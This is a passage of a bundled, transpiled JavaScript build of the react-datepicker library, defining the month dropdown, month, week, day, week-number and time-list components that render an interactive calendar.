_interopRequireDefault(_propTypes); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var MonthDropdownOptions = function (_React$Component) { _inherits(MonthDropdownOptions, _React$Component); function MonthDropdownOptions() { var _ref; var _temp, _this, _ret; _classCallCheck(this, MonthDropdownOptions); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = MonthDropdownOptions.__proto__ || Object.getPrototypeOf(MonthDropdownOptions)).call.apply(_ref, [this].concat(args))), _this), _this.renderOptions = function () { return _this.props.monthNames.map(function (month, i) { return _react2.default.createElement( 'div', { className: 'react-datepicker__month-option', key: month, ref: month, onClick: _this.onChange.bind(_this, i) }, _this.props.month === i ? _react2.default.createElement( 'span', { className: 'react-datepicker__month-option--selected' }, '\u2713' ) : '', month ); }); }, _this.onChange = function (month) { return _this.props.onChange(month); }, _this.handleClickOutside = function () { return _this.props.onCancel(); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(MonthDropdownOptions, [{ key: 'render', value: function render() { return _react2.default.createElement( 'div', { className: 'react-datepicker__month-dropdown' }, this.renderOptions() ); } }]); return MonthDropdownOptions; }(_react2.default.Component); MonthDropdownOptions.propTypes = { onCancel: _propTypes2.default.func.isRequired, onChange: _propTypes2.default.func.isRequired, month: _propTypes2.default.number.isRequired, monthNames: _propTypes2.default.arrayOf(_propTypes2.default.string.isRequired).isRequired }; exports.default = MonthDropdownOptions; /***/ }), /* 16 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); var _week = __webpack_require__(17); var _week2 = _interopRequireDefault(_week); var _date_utils = __webpack_require__(12); var utils = _interopRequireWildcard(_date_utils); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var FIXED_HEIGHT_STANDARD_WEEK_COUNT = 6; var Month = function (_React$Component) { _inherits(Month, _React$Component); function Month() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Month); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Month.__proto__ || Object.getPrototypeOf(Month)).call.apply(_ref, [this].concat(args))), _this), _this.handleDayClick = function (day, event) { if (_this.props.onDayClick) { _this.props.onDayClick(day, event); } }, _this.handleDayMouseEnter = function (day) { if (_this.props.onDayMouseEnter) { _this.props.onDayMouseEnter(day); } }, _this.handleMouseLeave = function () { if (_this.props.onMouseLeave) { _this.props.onMouseLeave(); } }, _this.isWeekInMonth = function (startOfWeek) { var day = _this.props.day; var endOfWeek = utils.addDays(utils.cloneDate(startOfWeek), 6); return utils.isSameMonth(startOfWeek, day) || utils.isSameMonth(endOfWeek, day); }, _this.renderWeeks = function () { var weeks = []; var isFixedHeight = _this.props.fixedHeight; var currentWeekStart = utils.getStartOfWeek(utils.getStartOfMonth(utils.cloneDate(_this.props.day))); var i = 0; var breakAfterNextPush = false; while (true) { weeks.push(_react2.default.createElement(_week2.default, { key: i, day: currentWeekStart, month: utils.getMonth(_this.props.day), onDayClick: _this.handleDayClick, onDayMouseEnter: _this.handleDayMouseEnter, onWeekSelect: _this.props.onWeekSelect, formatWeekNumber: _this.props.formatWeekNumber, minDate: _this.props.minDate, maxDate: _this.props.maxDate, excludeDates: _this.props.excludeDates, includeDates: _this.props.includeDates, inline: _this.props.inline, highlightDates: _this.props.highlightDates, selectingDate: _this.props.selectingDate, filterDate: _this.props.filterDate, preSelection: _this.props.preSelection, selected: _this.props.selected, selectsStart: _this.props.selectsStart, selectsEnd: _this.props.selectsEnd, showWeekNumber: _this.props.showWeekNumbers, startDate: _this.props.startDate, endDate: _this.props.endDate, dayClassName: _this.props.dayClassName, utcOffset: _this.props.utcOffset })); if (breakAfterNextPush) break; i++; currentWeekStart = utils.addWeeks(utils.cloneDate(currentWeekStart), 1); // If one of these conditions is true, we will either break on this week // or break on the next week var isFixedAndFinalWeek = isFixedHeight && i >= FIXED_HEIGHT_STANDARD_WEEK_COUNT; var isNonFixedAndOutOfMonth = !isFixedHeight && !_this.isWeekInMonth(currentWeekStart); if (isFixedAndFinalWeek || isNonFixedAndOutOfMonth) { if (_this.props.peekNextMonth) { breakAfterNextPush = true; } else { break; } } } return weeks; }, _this.getClassNames = function () { var _this$props = _this.props, selectingDate = _this$props.selectingDate, selectsStart = _this$props.selectsStart, selectsEnd = _this$props.selectsEnd; return (0, _classnames2.default)('react-datepicker__month', { 'react-datepicker__month--selecting-range': selectingDate && (selectsStart || selectsEnd) }); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Month, [{ key: 'render', value: function render() { return _react2.default.createElement( 'div', { className: this.getClassNames(), onMouseLeave: this.handleMouseLeave, role: 'listbox' }, this.renderWeeks() ); } }]); return Month; }(_react2.default.Component); Month.propTypes = { day: _propTypes2.default.object.isRequired, dayClassName: _propTypes2.default.func, endDate: _propTypes2.default.object, excludeDates: _propTypes2.default.array, filterDate: _propTypes2.default.func, fixedHeight: _propTypes2.default.bool, formatWeekNumber: _propTypes2.default.func, highlightDates: _propTypes2.default.array, includeDates: _propTypes2.default.array, inline: _propTypes2.default.bool, maxDate: _propTypes2.default.object, minDate: _propTypes2.default.object, onDayClick: _propTypes2.default.func, onDayMouseEnter: _propTypes2.default.func, onMouseLeave: _propTypes2.default.func, onWeekSelect: _propTypes2.default.func, peekNextMonth: _propTypes2.default.bool, preSelection: _propTypes2.default.object, selected: _propTypes2.default.object, selectingDate: _propTypes2.default.object, selectsEnd: _propTypes2.default.bool, selectsStart: _propTypes2.default.bool, showWeekNumbers: _propTypes2.default.bool, startDate: _propTypes2.default.object, utcOffset: _propTypes2.default.number }; exports.default = Month; /***/ }), /* 17 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _day = __webpack_require__(18); var _day2 = _interopRequireDefault(_day); var _week_number = __webpack_require__(19); var _week_number2 = _interopRequireDefault(_week_number); var _date_utils = __webpack_require__(12); var utils = _interopRequireWildcard(_date_utils); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var Week = function (_React$Component) { _inherits(Week, _React$Component); function Week() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Week); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Week.__proto__ || Object.getPrototypeOf(Week)).call.apply(_ref, [this].concat(args))), _this), _this.handleDayClick = function (day, event) { if (_this.props.onDayClick) { _this.props.onDayClick(day, event); } }, _this.handleDayMouseEnter = function (day) { if (_this.props.onDayMouseEnter) { _this.props.onDayMouseEnter(day); } }, _this.handleWeekClick = function (day, weekNumber, event) { if (typeof _this.props.onWeekSelect === 'function') { _this.props.onWeekSelect(day, weekNumber, event); } }, _this.formatWeekNumber = function (startOfWeek) { if (_this.props.formatWeekNumber) { return _this.props.formatWeekNumber(startOfWeek); } return utils.getWeek(startOfWeek); }, _this.renderDays = function () { var startOfWeek = utils.getStartOfWeek(utils.cloneDate(_this.props.day)); var days = []; var weekNumber = _this.formatWeekNumber(startOfWeek); if (_this.props.showWeekNumber) { var onClickAction = _this.props.onWeekSelect ? _this.handleWeekClick.bind(_this, startOfWeek, weekNumber) : undefined; days.push(_react2.default.createElement(_week_number2.default, { key: 'W', weekNumber: weekNumber, onClick: onClickAction })); } return days.concat([0, 1, 2, 3, 4, 5, 6].map(function (offset) { var day = utils.addDays(utils.cloneDate(startOfWeek), offset); return _react2.default.createElement(_day2.default, { key: offset, day: day, month: _this.props.month, onClick: _this.handleDayClick.bind(_this, day), onMouseEnter: _this.handleDayMouseEnter.bind(_this, day), minDate: _this.props.minDate, maxDate: _this.props.maxDate, excludeDates: _this.props.excludeDates, includeDates: _this.props.includeDates, inline: _this.props.inline, highlightDates: _this.props.highlightDates, selectingDate: _this.props.selectingDate, filterDate: _this.props.filterDate, preSelection: _this.props.preSelection, selected: _this.props.selected, selectsStart: _this.props.selectsStart, selectsEnd: _this.props.selectsEnd, startDate: _this.props.startDate, endDate: _this.props.endDate, dayClassName: _this.props.dayClassName, utcOffset: _this.props.utcOffset }); })); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Week, [{ key: 'render', value: function render() { return _react2.default.createElement( 'div', { className: 'react-datepicker__week' }, this.renderDays() ); } }]); return Week; }(_react2.default.Component); Week.propTypes = { day: _propTypes2.default.object.isRequired, dayClassName: _propTypes2.default.func, endDate: _propTypes2.default.object, excludeDates: _propTypes2.default.array, filterDate: _propTypes2.default.func, formatWeekNumber: _propTypes2.default.func, highlightDates: _propTypes2.default.array, includeDates: _propTypes2.default.array, inline: _propTypes2.default.bool, maxDate: _propTypes2.default.object, minDate: _propTypes2.default.object, month: _propTypes2.default.number, onDayClick: _propTypes2.default.func, onDayMouseEnter: _propTypes2.default.func, onWeekSelect: _propTypes2.default.func, preSelection: _propTypes2.default.object, selected: _propTypes2.default.object, selectingDate: _propTypes2.default.object, selectsEnd: _propTypes2.default.bool, selectsStart: _propTypes2.default.bool, showWeekNumber: _propTypes2.default.bool, startDate: _propTypes2.default.object, utcOffset: _propTypes2.default.number }; exports.default = Week; /***/ }), /* 18 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); var _date_utils = __webpack_require__(12); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var Day = function (_React$Component) { _inherits(Day, _React$Component); function Day() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Day); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Day.__proto__ || Object.getPrototypeOf(Day)).call.apply(_ref, [this].concat(args))), _this), _this.handleClick = function (event) { if (!_this.isDisabled() && _this.props.onClick) { _this.props.onClick(event); } }, _this.handleMouseEnter = function (event) { if (!_this.isDisabled() && _this.props.onMouseEnter) { _this.props.onMouseEnter(event); } }, _this.isSameDay = function (other) { return (0, _date_utils.isSameDay)(_this.props.day, other); }, _this.isKeyboardSelected = function () { return !_this.props.inline && !_this.isSameDay(_this.props.selected) && _this.isSameDay(_this.props.preSelection); }, _this.isDisabled = function () { return (0, _date_utils.isDayDisabled)(_this.props.day, _this.props); }, _this.getHighLightedClass = function (defaultClassName) { var _this$props = _this.props, day = _this$props.day, highlightDates = _this$props.highlightDates; if (!highlightDates) { return _defineProperty({}, defaultClassName, false); } var classNames = {}; for (var i = 0, len = highlightDates.length; i < len; i++) { var obj = highlightDates[i]; if ((0, _date_utils.isMoment)(obj)) { if ((0, _date_utils.isSameDay)(day, obj)) { classNames[defaultClassName] = true; } } else if ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) === 'object') { var keys = Object.keys(obj); var arr = obj[keys[0]]; if (typeof keys[0] === 'string' && arr.constructor === Array) { for (var k = 0, _len2 = arr.length; k < _len2; k++) { if ((0, _date_utils.isSameDay)(day, arr[k])) { classNames[keys[0]] = true; } } } } } return classNames; }, _this.isInRange = function () { var _this$props2 = _this.props, day = _this$props2.day, startDate = _this$props2.startDate, endDate = _this$props2.endDate; if (!startDate || !endDate) { return false; } return (0, _date_utils.isDayInRange)(day, startDate, endDate); }, _this.isInSelectingRange = function () { var _this$props3 = _this.props, day = _this$props3.day, selectsStart = _this$props3.selectsStart, selectsEnd = _this$props3.selectsEnd, selectingDate = _this$props3.selectingDate, startDate = _this$props3.startDate, endDate = _this$props3.endDate; if (!(selectsStart || selectsEnd) || !selectingDate || _this.isDisabled()) { return false; } if (selectsStart && endDate && selectingDate.isSameOrBefore(endDate)) { return (0, _date_utils.isDayInRange)(day, selectingDate, endDate); } if (selectsEnd && startDate && selectingDate.isSameOrAfter(startDate)) { return (0, _date_utils.isDayInRange)(day, startDate, selectingDate); } return false; }, _this.isSelectingRangeStart = function () { if (!_this.isInSelectingRange()) { return false; } var _this$props4 = _this.props, day = _this$props4.day, selectingDate = _this$props4.selectingDate, startDate = _this$props4.startDate, selectsStart = _this$props4.selectsStart; if (selectsStart) { return (0, _date_utils.isSameDay)(day, selectingDate); } else { return (0, _date_utils.isSameDay)(day, startDate); } }, _this.isSelectingRangeEnd = function () { if (!_this.isInSelectingRange()) { return false; } var _this$props5 = _this.props, day = _this$props5.day, selectingDate = _this$props5.selectingDate, endDate = _this$props5.endDate, selectsEnd = _this$props5.selectsEnd; if (selectsEnd) { return (0, _date_utils.isSameDay)(day, selectingDate); } else { return (0, _date_utils.isSameDay)(day, endDate); } }, _this.isRangeStart = function () { var _this$props6 = _this.props, day = _this$props6.day, startDate = _this$props6.startDate, endDate = _this$props6.endDate; if (!startDate || !endDate) { return false; } return (0, _date_utils.isSameDay)(startDate, day); }, _this.isRangeEnd = function () { var _this$props7 = _this.props, day = _this$props7.day, startDate = _this$props7.startDate, endDate = _this$props7.endDate; if (!startDate || !endDate) { return false; } return (0, _date_utils.isSameDay)(endDate, day); }, _this.isWeekend = function () { var weekday = (0, _date_utils.getDay)(_this.props.day); return weekday === 0 || weekday === 6; }, _this.isOutsideMonth = function () { return _this.props.month !== undefined && _this.props.month !== (0, _date_utils.getMonth)(_this.props.day); }, _this.getClassNames = function (date) { var dayClassName = _this.props.dayClassName ? _this.props.dayClassName(date) : undefined; return (0, _classnames2.default)('react-datepicker__day', dayClassName, 'react-datepicker__day--' + (0, _date_utils.getDayOfWeekCode)(_this.props.day), { 'react-datepicker__day--disabled': _this.isDisabled(), 'react-datepicker__day--selected': _this.isSameDay(_this.props.selected), 'react-datepicker__day--keyboard-selected': _this.isKeyboardSelected(), 'react-datepicker__day--range-start': _this.isRangeStart(), 'react-datepicker__day--range-end': _this.isRangeEnd(), 'react-datepicker__day--in-range': _this.isInRange(), 'react-datepicker__day--in-selecting-range': _this.isInSelectingRange(), 'react-datepicker__day--selecting-range-start': _this.isSelectingRangeStart(), 'react-datepicker__day--selecting-range-end': _this.isSelectingRangeEnd(), 'react-datepicker__day--today': _this.isSameDay((0, _date_utils.now)(_this.props.utcOffset)), 'react-datepicker__day--weekend': _this.isWeekend(), 'react-datepicker__day--outside-month': _this.isOutsideMonth() }, _this.getHighLightedClass('react-datepicker__day--highlighted')); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Day, [{ key: 'render', value: function render() { return _react2.default.createElement( 'div', { className: this.getClassNames(this.props.day), onClick: this.handleClick, onMouseEnter: this.handleMouseEnter, 'aria-label': 'day-' + (0, _date_utils.getDate)(this.props.day), role: 'option' }, (0, _date_utils.getDate)(this.props.day) ); } }]); return Day; }(_react2.default.Component); Day.propTypes = { day: _propTypes2.default.object.isRequired, dayClassName: _propTypes2.default.func, endDate: _propTypes2.default.object, highlightDates: _propTypes2.default.array, inline: _propTypes2.default.bool, month: _propTypes2.default.number, onClick: _propTypes2.default.func, onMouseEnter: _propTypes2.default.func, preSelection: _propTypes2.default.object, selected: _propTypes2.default.object, selectingDate: _propTypes2.default.object, selectsEnd: _propTypes2.default.bool, selectsStart: _propTypes2.default.bool, startDate: _propTypes2.default.object, utcOffset: _propTypes2.default.number }; exports.default = Day; /***/ }), /* 19 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var WeekNumber = function (_React$Component) { _inherits(WeekNumber, _React$Component); function WeekNumber() { var _ref; var _temp, _this, _ret; _classCallCheck(this, WeekNumber); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = WeekNumber.__proto__ || Object.getPrototypeOf(WeekNumber)).call.apply(_ref, [this].concat(args))), _this), _this.handleClick = function (event) { if (_this.props.onClick) { _this.props.onClick(event); } }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(WeekNumber, [{ key: 'render', value: function render() { var weekNumberClasses = { 'react-datepicker__week-number': true, 'react-datepicker__week-number--clickable': !!this.props.onClick }; return _react2.default.createElement( 'div', { className: (0, _classnames2.default)(weekNumberClasses), 'aria-label': 'week-' + this.props.weekNumber, onClick: this.handleClick }, this.props.weekNumber ); } }]); return WeekNumber; }(_react2.default.Component); WeekNumber.propTypes = { weekNumber: _propTypes2.default.number.isRequired, onClick: _propTypes2.default.func }; exports.default = WeekNumber; /***/ }), /* 20 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _date_utils = __webpack_require__(12); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var Time = function (_React$Component) { _inherits(Time, _React$Component); function Time() { var _ref; var _temp, _this, _ret; _classCallCheck(this, Time); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = Time.__proto__ || Object.getPrototypeOf(Time)).call.apply(_ref, [this].concat(args))), _this), _this.handleClick = function (time) { if ((_this.props.minTime || _this.props.maxTime) && (0, _date_utils.isTimeInDisabledRange)(time, _this.props) || _this.props.excludeTimes && (0, _date_utils.isTimeDisabled)(time, _this.props.excludeTimes)) { return; } _this.props.onChange(time); }, _this.liClasses = function (time, currH, currM) { var classes = ['react-datepicker__time-list-item']; if (currH === (0, _date_utils.getHour)(time) && currM === (0, _date_utils.getMinute)(time)) { classes.push('react-datepicker__time-list-item--selected'); } if ((_this.props.minTime || _this.props.maxTime) && (0, _date_utils.isTimeInDisabledRange)(time, _this.props) || _this.props.excludeTimes && (0, _date_utils.isTimeDisabled)(time, _this.props.excludeTimes)) { classes.push('react-datepicker__time-list-item--disabled'); } return classes.join(' '); }, _this.renderTimes = function () { var times = []; var format = _this.props.format ? _this.props.format : 'hh:mm A'; var intervals = _this.props.intervals; var activeTime = _this.props.selected ? _this.props.selected : (0, _date_utils.newDate)(); var currH = (0, _date_utils.getHour)(activeTime); var currM = (0, _date_utils.getMinute)(activeTime); var base = (0, _date_utils.getStartOfDay)((0, _date_utils.newDate)()); var multiplier = 1440 / intervals; for (var i = 0; i < multiplier; i++) { times.push((0, _date_utils.addMinutes)((0, _date_utils.cloneDate)(base), i * intervals)); } return times.map(function (time, i) { return _react2.default.createElement( 'li', { key: i, onClick: _this.handleClick.bind(_this, time), className: _this.liClasses(time, currH, currM) }, (0, _date_utils.formatDate)(time, format) ); }); }, _temp), _possibleConstructorReturn(_this, _ret); } _createClass(Time, [{ key: 'componentDidMount', value: function componentDidMount() { // code to ensure selected time will always be in focus within time window when it first appears var multiplier = 60 / this.props.intervals; var currH = this.props.selected ? (0, _date_utils.getHour)(this.props.selected) : (0, _date_utils.getHour)((0, _date_utils.newDate)()); this.list.scrollTop = 30 * (multiplier * currH); } }, { key: 'render', value: function render() { var _this2 = this; var height = null; if (this.props.monthRef) { height = this.props.monthRef.clientHeight - 39; } return _react2.default.createElement( 'div', { className: 'react-datepicker__time-container ' + (this.props.todayButton ? 'react-datepicker__time-container--with-today-button' : '') }, _react2.default.createElement( 'div', { className: 'react-datepicker__header react-datepicker__header--time' }, _react2.default.createElement( 'div', { className: 'react-datepicker-time__header' }, 'Time' ) ), _react2.default.createElement( 'div', { className: 'react-datepicker__time' }, _react2.default.createElement( 'div', { className: 'react-datepicker__time-box' }, _react2.default.createElement( 'ul', { className: 'react-datepicker__time-list', ref: function ref(list) { _this2.list = list; }, style: height ? { height: height } : {} }, this.renderTimes.bind(this)() ) ) ) ); } }], [{ key: 'defaultProps', get: function get() { return { intervals: 30, onTimeChange: function onTimeChange() {}, todayButton: null }; } }]); return Time; }(_react2.default.Component); Time.propTypes = { format: _propTypes2.default.string, intervals: _propTypes2.default.number, selected: _propTypes2.default.object, onChange: _propTypes2.default.func, todayButton: _propTypes2.default.string, minTime: _propTypes2.default.object, maxTime: _propTypes2.default.object, excludeTimes: _propTypes2.default.array, monthRef: _propTypes2.default.object }; exports.default = Time; /***/ }), /* 21 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.popperPlacementPositions = undefined; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _classnames = __webpack_require__(10); var _classnames2 = _interopRequireDefault(_classnames); var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); var _reactPopper = __webpack_require__(22); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var popperPlacementPositions = exports.popperPlacementPositions = ['auto', 'auto-left', 'auto-right', 'bottom', 'bottom-end', 'bottom-start', 'left', 'left-end', 'left-start', 'right', 'right-end', 'right-start', 'top', 'top-end', 'top-start']; var PopperComponent = function (_React$Component) { _inherits(PopperComponent, _React$Component); function PopperComponent() { 